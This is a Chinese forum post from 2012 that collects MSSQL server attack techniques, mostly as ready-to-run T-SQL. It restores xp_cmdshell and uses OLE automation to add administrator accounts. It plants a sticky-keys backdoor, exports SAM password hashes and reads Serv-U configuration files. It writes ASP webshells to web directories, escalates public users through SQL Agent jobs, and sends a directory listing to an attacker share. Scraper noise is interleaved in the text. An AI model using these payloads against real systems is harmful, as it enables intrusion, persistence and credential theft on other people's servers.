找回密码
 立即注册
查看: 3053|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
( ?: ~+ A) k. k% j恢复方法:查询分离器连接后,
# [/ D+ N5 O' N% l第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 2 S- F; u' H8 P1 |
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
$ p, o: h2 m9 @2 j) }2 B然后按F5键命令执行完毕: X) Y& O" y" ^- _

- L: @6 G8 d4 i5 j2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
/ S$ ~- ]& @4 h7 B: u恢复方法:查询分离器连接后,7 b. t. ~6 r8 L9 \" i/ X
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
7 Q' w7 o' a. R5 F第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'  A* K* t2 N" j( P8 E) w8 i% v8 _+ s
然后按F5键命令执行完毕, K' ?& f( T9 L  L+ M! t

1 @; W0 E& O9 G$ c3 ^3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
9 S: P- }! t  @( D$ _恢复方法:查询分离器连接后,2 b& n$ v7 R1 v& J$ \3 S# X1 G
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'; X3 O* }  q9 v  e; j6 n) |
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       : U/ r$ ^+ C% w+ F& A' S$ f
然后按F5键命令执行完毕
/ q- a1 ^9 C* C, O& }6 ^! X9 c& @' W% P+ [* Q2 U8 P+ P. _! P1 T+ a
4 终极方法.
+ ]7 {& v. ]3 y如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
. ]2 l  B4 u4 ~, H查询分离器连接后,
9 r( Y* B: i% Q3 v2000servser系统:
6 F1 b& H! j: N5 u, s2 cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'4 b' B, C2 l. E9 `. r' \

0 t* P  r: b/ {( q$ u! u4 S  j: K, Rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'7 u, U5 Z# K7 ^
& Q0 a% H/ x: d" ^
xp或2003server系统:4 y) C+ P+ B" J8 k6 K1 Y

6 X3 Q1 R$ d! F1 X, J2 bdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
9 W# y- t* E% b4 B6 x. i
% z* e& j! u) G, H( T6 q$ z) ?declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
$ ~- X6 F" c, r  |0 L
# u5 M4 n8 q# k, V5 J) p( c
: b# [  P* ?7 [# S五个SHIFT( {  a% r9 O; H2 v" c+ l( P
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';5 A! e2 _' z) T1 ]( j

- Y, }# T3 F# S0 o+ K8 [8 Fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ( R- |& j1 V" [# ]5 }# R/ p

! w) s0 E4 x" e/ x9 E9 D' D$ rxp_cmdshell执行命令另一种方法7 k  \% o5 B; x; p0 j  j
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
" F4 M, f+ p; u: y% |0 f/ S5 _0 B) q! E
判断存储扩展是否存在+ t4 U3 M" W  ^( |; K  y% k
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'" P1 B% l/ \0 n+ y* ^$ W- g8 L6 A
返回结果为1就OK
' V# {. Y2 g3 `3 [5 A+ s3 a+ G: R- E# }$ w3 B% V1 L) |
( d1 D. F$ h, [+ C
上传xplog70.dll恢复xp_cmdshell语句:
  Z' ?: X8 l& s! ksp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'1 `' l1 e: i$ m  R( e9 e

: e0 q& T8 f, D& b8 R' q) ^否则上传xplog7.0.dll& ]7 Z" d8 ?+ o' I
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
& E$ M1 V2 K- i% S0 M' v* P4 u* f, F3 m) \; x9 F1 K" L% U
% p# U! j; i) ^8 [
) x- ?1 T$ q* p. ^. s$ I4 K- T
首先开启沙盘模式:
$ g. L2 T- f3 H# E9 f5 ~6 {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1& w4 {& |0 N! o

# F( [8 e1 L- m5 e7 s# T" G然后利用jet.oledb执行系统命令
& a) O2 b1 ^  a4 [5 H: w0 [# v6 wselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'). P% Y( d- q+ v7 z
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
) k- A8 q1 ]: d* b% [) c* G) o/ e0 r6 N# Y( e: I
/ n5 y  k/ g8 A: l- S
: g: h/ Z" f& Q6 ]# b- M+ A# d
恢复过程sp_addextendedproc 如下:
" V, Q1 n" \+ g- T- Zcreate procedure sp_addextendedproc --- 1996/08/30 20:13
( b- d! ~  Q' s, I" X* W$ ^@functname nvarchar(517),/* (owner.)name of function to call */
6 \8 m8 N& d( H4 R$ `8 k7 i@dllname varchar(255)/* name of DLL containing function */ ) u" N/ k  j* ?/ _* z0 Y' ~
as
+ F! W. C# x, M7 zset implicit_transactions off
; f  b4 L6 D+ a# O4 i' X" a  `if @@trancount > 0
! n" g+ A, O; q" M9 y- }* _( s' hbegin - h7 o" i2 Y0 L6 U0 g; d
raiserror(15002,-1,-1,'sp_addextendedproc')   E) t# t8 m8 N$ K% G4 \$ x2 ^( [
return (1) " l- C) E( [6 d6 `/ ^+ K
end
' Z- U: t7 H& J$ i+ J% X. f" |& I" Ldbcc addextendedproc( @functname, @dllname) : ]6 q$ \8 Q0 M# g$ B1 W; X
return (0) -- sp_addextendedproc 5 V7 {3 m  b' H
GO : o3 o& p* j) z, j

, V+ L8 d; e1 l6 @  O0 V0 F+ q" P' d+ L, M" b  E* \
, W8 Q& n  U, f
导出管理员密码文件
& s8 u( x$ N8 i9 l( M& Wsa默认可以读sam键.应该。% [* w9 {7 H: a+ B
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
* @, T! T. W/ onet user administrator test+ E. b0 p5 G8 i7 k/ B
用administrator登陆.
/ n6 n( u: R2 ?; |用完机器后
# Q9 M5 p" p! _, ^& w1 l  }- zreg import c:\test.reg! j$ @, T) ~$ Q0 t
根本不用克隆.8 D3 B7 ^; U; D" X  {8 C& x
找到对应的sid.
8 d% U1 r" @' v6 f5 M8 K$ U) ?+ w3 w% K3 {6 @: B3 |
; G. D( {* x3 X" u8 c# J3 F
$ K0 ?6 D! ~! p( K7 `6 S
恢复所有存储过程
0 P8 z$ P9 B' w' |; uuse master 0 i* b4 I. B0 V3 M4 N
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
! e7 N$ c4 g' ?( f6 w, M6 z  S) Mexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
4 }) R0 t3 Q9 o( b4 N# bexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 8 B9 G. K0 E& P! z5 ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
2 w  H7 j$ i& ]+ u* M/ Jexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' $ j) I8 l  d$ g0 }
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
* q- Z! n7 d- _6 fexec sp_addextendedproc sp_OADestroy,'odsole70.dll' ; W5 }- S& P8 o6 B7 g
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' # d% m. N: P/ |3 F
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' " e, Q( ?1 _0 F4 U3 n( j2 e
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' & h9 p9 H. o, l
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' $ m$ {, d( U! y; ^8 l, Z* K- N+ @
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ) ?6 `6 S3 B) W. G% A. b
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
* T. J4 L7 ^8 ^; W. iexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
" Y, |8 O7 A# i% ^' R% M9 G$ Vexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / ?4 x3 `8 S8 l
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
- M, W, @* J' b) U, ^) O0 Eexec sp_addextendedproc xp_regread,'xpstar.dll'
7 ?7 B& s, z3 W2 wexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 3 B" {" n9 T9 z
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
0 L! |. H' b3 @( b; L! L+ C/ l  Wexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
6 h5 Y3 I; J7 N% X# {- A, U6 r1 _$ M: t5 N( {1 b6 ~' N: ?

8 x' K0 ?  u/ Q0 R( X  R- [& I建立读文件的存储过程* x  T( B+ S$ l1 V. C# c$ }1 v
Create proc sp_readTextFile @filename sysname1 t1 K: S$ e: Z2 l
as7 n2 Y8 \1 X) J- R( W
; ~1 @/ Z" j3 N& U( ]- N7 O( C
    begin 5 L  S: q; C% F( E& C  |
    set nocount on 8 N' b4 w3 O8 j/ A  L
    Create table #tempfile (line varchar(8000))
- V' N2 c. F. [. W4 M* ]# a" I    exec ('bulk insert #tempfile from "' + @filename + '"')/ |  P) |: P) T1 l
    select * from #tempfile
5 F" V9 G, X" ]3 c    drop table #tempfile3 ^1 j0 N- m  r" E- ]( G0 F
End! h/ ^8 A3 @5 Q' Z5 Q
) [1 ]( a3 C7 {) p
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, `) N5 J$ _; C- z$ J( I4 z  t3 F查看登录用户
) K( N2 C* I! BSelect * from sysxlogins
5 G  `8 R3 F& B& Y, N' x, i1 o( D4 U
把文件内容读取到表中
( s. i  W" `2 s: pBULK INSERT tmp from "c:\test.txt"8 ?5 E4 i' _4 S7 b$ Z2 p7 ^
dElete from 表名 清理表里的内容5 a( |1 E  O0 J4 H: o# h
create table b_test(fn nvarchar(4000));建一个表,字段为fn
7 k, l0 I) J, ~
: j: k( P- d9 u2 C5 W6 {+ D  r2 h
9 D+ ^9 k) c7 Y$ b0 H加sa用户
8 d( M0 K1 V# G4 w' eexec master.dbo.sp_addlogin user,pass;7 t' b8 c! l2 C  A
exec master.dbo.sp_addsrvrolemember user,sysadmin
" r, y  k9 |' }1 H
: I% T7 y/ [% h' e, i
  r, r+ ?$ R; \! D  V# K0 |. |  g5 ~
读文件代码, ~( q% c" ?8 y- x. ?* p) u  r, ]
declare @o int, @f int, @t int, @ret int
: U" N8 u7 G! I4 Odeclare @line varchar(8000)5 I6 t, J4 x* G
exec sp_oacreate 'scripting.filesystemobject', @o out& u* ?- T' z, w/ M3 |
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 13 C. b  z5 p9 \8 `
exec @ret = sp_oamethod @f, 'readline', @line out' f# u+ {  J& b% j
while( @ret = 0 )
. Y- Q( {7 F" S0 H" W9 Z, wbegin
6 ?' Q* j0 S( Q3 ~print @line
% S2 r) l$ H# E; E8 [/ ?exec @ret = sp_oamethod @f, 'readline', @line out
( ?+ y9 E0 C( [2 N5 D  q( {( P7 Q) oend
+ ^6 O% y7 U3 V' o- O7 ]
* @1 z- P( ^8 K' r$ I( t
; R9 C  ]  _; B7 W写文件代码:% s* q& [$ Z. k. `1 u/ A6 R7 l; N
declare @o int, @f int, @t int, @ret int
0 R9 x' E. w' E- `3 N  S9 ^( _exec sp_oacreate 'scripting.filesystemobject', @o out
5 b' }0 T+ C% I  ^exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 15 Q) `/ o8 I' a+ h
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
' h& @' \5 f3 b# P2 F
4 a7 [5 c9 e3 a5 ?; o! O
* J1 c# Z5 a& N3 [添加lake2 shell
# O4 r  E! ]% m5 }1 U$ I& Z: d: Hsp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
# ~9 ^5 k) p4 K# w8 j# `; ^% {4 esp_dropextendedproc xp_lake2  Z4 _' s& E! q
EXEC xp_lake2 'net user'
, \& p' u, s$ z
6 f, m- [# h0 l- q6 M0 w
& A( G" {5 G: i5 `& ^得到硬盘文件信息
$ o9 H7 f* x1 ~5 b! m/ v--参数说明:目录名,目录深度,是否显示文件
$ A& e1 J& @" ?* \, [$ h0 Sexecute master..xp_dirtree 'c:'
+ L: b- g$ }. s7 l3 d7 Rexecute master..xp_dirtree 'c:',1
3 f7 i% S' @2 d! a5 Q/ yexecute master..xp_dirtree 'c:',1,1
: c: C: s7 G$ ]' l' i. T9 ~' m! |( w: E. F4 b/ _
/ k" {9 I% z% \) }4 R
读serv-u配置信息6 B/ Q9 y, A* ^4 a( L3 C) `
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
9 p. W2 }6 u7 |& Texec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: I7 J( P) g1 z" a2 ~1 \# }! ~5 x* x# `4 y$ M
通过xp_regwrite写SHIFT后门' r' u7 ]2 H7 C/ I) u# P2 q% X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
1 o- s6 E7 A7 W8 p0 v
, ?+ G, Z1 r5 @3 T
: y! e9 t/ V( S9 ]1 U  f8 i# E" y/ h- l- w" H& o9 m' Y8 i
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';1 y" h$ G; @5 E" r  @3 b5 {1 F
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
8 o0 \" n: w" n& v
9 Z- G$ g# q6 s- I- k7 {7 X9 X' f* o. `EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
. R4 t: m5 _; O% }$ S/ P7 M! [6 R; E- t9 a3 A% s1 h( ~) W/ V0 U
+ L5 I0 K3 m+ a

9 a8 c/ O9 ~9 d; l8 v* a) x: Jsql server 2005下开启xp_cmdshell的办法- X7 M5 L3 T$ L* e
1 M8 X9 n. `8 f$ d+ @, o5 j
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
" T; y) i4 ?, N, Y& i; ]" e; x' B/ }% A, @8 @4 S2 c
SQL2005开启'OPENROWSET'支持的方法:) B5 \; O4 N9 p, J8 ?5 G" h9 h

9 _/ n8 [( r2 ~* p* B# J" nexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
: ?- z4 M& A, q# b& M: B
8 T0 w) y: D+ `. x. P9 I( {SQL2005开启'sp_oacreate'支持的方法:
0 ]* I& h7 X+ i9 f* Y! r! o$ h" C% @  b6 _
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
  F$ {) n( s# C# A$ e/ n
. V8 U5 ~( p1 F0 U9 X$ L5 l: T" A

6 @. G  S  {( ~' T6 `" H* s
" _6 c6 n" m7 Y" h( w
+ r+ _6 z3 w2 `
; L8 s4 @- o$ ?# q1 }- J1 N2 q
; T( R: x8 y, K6 R
. ^+ _4 _: f* S% z$ v* A' ]3 P3 W8 r, H- O: l8 R  a- ]
) C: }& o- W2 N5 X9 ?/ a# h
8 X, [$ B: p, k1 W4 i
- ]9 m& a# ~1 U5 i- [

) u/ Z' E9 |9 c- l4 U: a4 A1 V3 x3 r# ]) Q& ~
9 i4 C; Q  t2 h# R
. d, t. G& o3 m, I0 s5 ?/ x- o
4 ]* R( n7 ]4 t
2 T) P6 L1 S$ F$ }' ?
$ u3 G- X+ w: h4 d% P" f& }4 F2 k
. w+ \$ b- V/ T- v0 M

, U4 V" N1 W/ I7 [
5 z' p5 }$ t# m1 H8 R8 r
. @5 v/ ~7 {; e; }  X; y+ Y
$ I5 i: P; ~, S3 t% i0 _# t以下方面不知道能不能成功暂且留下研究哈:
3 ?$ f$ Z0 k+ a2 _8 F# o& W" \4)9 Y# x' _9 t; ~3 N' f7 _4 i2 }( ~
use msdb; --这儿不要是master哟
  f8 G0 a* r* J9 aexec sp_add_job @job_name= czy82 ;! H5 r- [2 r' b' i: z& l
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;1 }2 Y/ _$ m9 s" a1 T& l
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
7 J  |& J+ N8 {0 Y# Texec sp_start_job @job_name= czy82 ;  Q1 J' e3 F  a7 i3 x  Z( z4 W

% ^) E* _$ a4 C6 p; k  j利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
9 f7 I  Z1 f$ S9 Z) [执行tsql语句了.8 [- P; R/ z8 g5 F
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名; }  `) g( I7 k) Q$ @- p6 j
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)& f1 _7 q; Z3 t4 }' r. Q8 ~
net start SQLSERVERAGENT
1 @: }; U& ~$ H& Q3 }" S- E& k3 U" _# v, I* w3 m
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的6 w6 ^; L" a& s
USE msdb
0 Y3 Y3 O" h8 I6 s) ^  `EXEC sp_add_job @job_name = GetSystemOnSQL ,
) H* s! C# R; s- \8 l: N@enabled = 1,+ I3 v- }! Q* n+ x
@description = This will give a low privileged user access to  {( ~1 R  p  X3 a3 P4 j3 h% y
xp_cmdshell ,4 q" Q: G; |. T+ p, F9 @
@delete_level = 14 `1 |9 ]) f4 @7 X
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,7 `0 o. r% U5 B5 M" I) E" l7 Y
@step_name = Exec my sql ,
' t4 S: x" U2 g  y9 P9 y@subsystem = TSQL ,4 P( N" A3 @* `+ w9 ]3 X
@command = exec master..xp_execresultset N select exec8 d- x! j1 i4 ^8 X2 l
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master ) k+ ]' C2 I& @& K8 l! P
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; f$ |. d& j) N: U0 F) u% ]@server_name = 你的SQL的服务器名
* \9 i: N" I1 Z% sEXEC sp_start_job @job_name = GetSystemOnSQL
1 ~- f) \9 o- K! D: x1 @+ G1 U1 `+ w0 q2 O- q
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: p, V  V/ X) T- t& C才让我们可以以public执行xp_cmdshell
: n' o" M3 w; P  P
* e# _+ d1 w. j$ m3 V5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)" [. U8 `6 H; d: H# {9 {
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
. {1 ^- |# V& w4 R) k2 v1 U0 u+ j) G' K, m
USE msdb
: [9 m6 c6 i- cEXEC sp_add_job @job_name = ArbitraryFilecreate ,
. }; S7 E! g2 f( L- G8 \@enabled = 1,+ _5 J( e! v7 `8 w6 c+ z7 T* p! d8 x
@description = This will create a file called c:\sqlafc123.txt ,; l. K* Q- n+ i$ |4 E
@delete_level = 1
3 ]0 A8 @4 G2 Q. w! MEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
9 y# Q  C$ k* e@step_name = SQLAFC ,
% Q- ^% z5 [$ L+ F& F7 ]$ D, e% @@subsystem = TSQL ,
* }1 i4 d& t$ A@command = select hello, this file was created by the SQL Agent. ,
! O# s$ N8 F( R& ?' M) i0 c@output_file_name = c:\sqlafc123.txt
& W! U9 j8 i, p6 DEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
. l$ t0 Y5 l5 R2 ?@server_name = SERVER_NAME
8 @! w( ~/ }5 `% Q; V+ K! h: wEXEC sp_start_job @job_name = ArbitraryFilecreate $ h2 q. @; I2 R; c& t

) r* X* x3 |+ u5 r如果subsystem选的是:tsql,在生成的文件的头部有如下内容! P7 @, \0 `' t5 y" ]5 r+ b

: Q: s* j4 s& G??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19# h% c3 s/ G) u2 N
----------------------------------------------/ e0 F2 V! m( u
hello, this file was created by the SQL Agent.
$ X: j) U! Z0 [
2 y4 ^. V: e/ B5 M# N% O(1 ?????)
7 J" ~4 }* p. H) Q/ O& j' c$ z2 ?/ s$ R" r
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
0 [7 l0 C: w% m2 L命令的vbs文件到启动目录!0 G+ m/ K! \% z3 A( t

2 y, Z5 d+ C% U5 e" {8 B2 V* R$ G, j$ H6)关于sp_makewebtask(可以写任意内容任意文件名的文件)0 @* a: }' ^3 p
关于sp_MScopyscriptfile 看下面的例子
4 m9 O! ~3 k! R, R' G+ rdeclare @command varchar(100) 4 T# g, S+ Y) x0 G8 `2 ~+ C( V
declare @scripfile varchar(200) 9 j" ]0 ]5 Q7 h# w' D/ t$ N
set concat_null_yields_null off
3 Z; i) q9 {, e) a1 s# {' Eselect @command= dir c:\ > "\\attackerip\share\dir.txt" * N( |4 d6 D# L
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
) m# r% c3 G- ]( e, z/ w: M% qexec sp_MScopyscriptfile @scripfile , ) J- D( }, W7 v$ m1 }. A
) j3 K8 ~& S2 G
这两个东东都还在测试试哟
; {4 Y3 |3 w/ w" W让MSSQL的public用户得到一个本机的web shell
% z: t3 f' c; m. s* \, _( k. {* N; b/ N/ D8 i" ?8 ]. `
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,/ A+ p9 E/ N0 Z3 O- [  P3 j  u
--@query= select <img src=vbscript:msgbox(now())> 8 A9 o& N. }% C& p& n( M. C* [5 W
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
4 k  g0 s$ `% Q( S. @! K@query= select
& m+ E- B+ d& N% b! i% z<%On Error Resume Next 5 g- r0 J! N# p( Y
Set oscript = Server.createObject("wscript.SHELL")
0 b4 o4 s# |0 ~: wSet oscriptNet = Server.createObject("wscript.NETWORK")
) V8 i2 ^; e) pSet oFileSys = Server.createObject("scripting.FileSystemObject") # J8 l) t( l9 T9 r, V, N! y1 n# b
szCMD = Request.Form(".CMD") - Z: s* s9 @. Y
If (szCMD <>"")Then
, e7 w2 h. _5 [( A5 }, L3 i, uszTempFile = "C:\" & oFileSys.GetTempName() 6 i5 C  B( \( z9 T3 x4 E9 S
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
7 d/ R1 C8 U3 R: \1 YSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) * n9 F3 E5 ^( ]" a) Z6 S- o  Y' _- R
End If %> 5 K+ h( H% ~6 E2 Q9 t: a3 H' D, l" ^
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
( }  Z$ j2 Q' N8 A" M<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
2 k. s  R5 |. r5 m6 m! r) w( g</FORM><RE> 9 @3 [  l% L& h+ @1 ^/ Y" o3 t$ n
<% If (IsObject(oFile))Then
) c( U: F- X' z1 X: S, tOn Error Resume Next
7 i& Z; o9 X5 p' H2 @Response.Write Server.HTMLEncode(oFile.ReadAll) 8 \. I8 ]9 X" H! y% y
oFile.Close
6 E7 P' m( g0 A1 A- QCall oFileSys.deleteFile(szTempFile, True) % K$ c! F, H5 o8 u& e9 U( u
End If%>
& O$ n+ o& ]4 h</BODY></HTML>
: K2 G( y, E& G" X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表